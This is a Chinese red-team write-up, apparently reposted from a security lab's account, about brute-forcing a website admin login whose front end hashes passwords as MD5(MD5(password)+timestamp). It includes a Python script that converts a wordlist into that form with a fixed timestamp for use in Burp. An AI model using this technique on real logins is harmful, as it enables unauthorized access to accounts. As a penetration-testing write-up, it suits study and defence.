记一次渗透中的Password加密爆破过程
The following article is from 弱口令安全实验室 Author rax
公众号现在只对常读和星标的公众号才展示大图推送,
建议大家把听风安全设为星标,否则可能就看不到啦!
----------------------------------------------------------------------
这是在红队行动中遇到的一个网站。网站前端对登录密码进行了加密,由于加密方式不是常见的MD5,无法直接使用Burp的普通爆破模式进行破解。下面是这个网站的渗透过程,与师傅们分享一下。
找到目标后台
首先用burp进行一下抓包测试,看看有没有什么突破点,登录口令随便输一个123456
发现密码在输入后被加密,返回前端页面,发现密码变成了长串
用F5刷新一下页面看看,可以看到输入密码后加载了一个MD5的js文件
由此我们猜测该密码加密方式为MD5,我们将密码拿去进行MD5解密,发现解密不成功
有点奇怪,去看下登录代码,定位找到登录键代码,可以看到CheckLogin函数,搜索一下
登陆代码的前两段代码就是对用户的输入内容做一个校验,我们不用去看,重要的信息在第三段,我们需要注意的有两点:
第一点是getTime函数的作用,getTime函数作用为检查完password不为空后被调用,生成当前时间戳,然后赋值给randid函数
第二点是这段代码的加密方法,先获取Password的值,然后使用 hex_md5 函数对密码进行两次 MD5 加密。先将password直接进行MD5加密,然后将生成的randid 与加密后的密码拼接在一起,并再次使用 hex_md5 函数对拼接后的字符串进行加密。最后,将加密后的密码赋值给名为 "Password" 的元素的值。
总结来说,这段代码一共对password做了两次MD5加密,第一次是直接将password进行加密,第二次则是将password和时间戳拼接在一起进行加密
那我们该如何解决呢?我们通过看下面这两句代码可以得知randid函数是通过SecretCode来设置的,我们在POST包中也可以看到SecretCode这个时间戳。我们可以将他的时间戳进行固定(时间戳固定为任意一个即可),让我们的密码算法不变
打开公司内部自用的ChatGPT来编写脚本
import hashlib
# 打开文件
with open("pass.txt", "r") as input_file, open("output.txt", "w") as output_file:
# 逐行读取文件内容
for line in input_file:
# 去除行末的换行符
line = line.rstrip('\n')
# 计算 MD5 值
md5_value = hashlib.md5(line.encode()).hexdigest()
# 将结果写入输出文件
output_file.write(md5_value + '\n')
with open("output.txt", "r") as input_file, open("output1.txt", "w") as output_file:
# 逐行读取文件内容
for line in input_file:
# 去除行末的换行符
line = line.rstrip('\n')
# 添加固定内容
line += "1687874232438"
# 将结果写入输出文件
output_file.write(line + '\n')
# 打开文件
with open("output1.txt", "r") as input_file, open("output2.txt", "w") as output_file:
# 逐行读取文件内容
for line in input_file:
# 去除行末的换行符
line = line.rstrip('\n')
# 计算 MD5 值
md5_value = hashlib.md5(line.encode()).hexdigest()
# 将结果写入输出文件
output_file.write(md5_value + '\n')
然后创建pass.txt文档和output.txt,运行脚本,得到加密后的字典
将加密好的字典拿去进行爆破
爆破成功,成功进入后台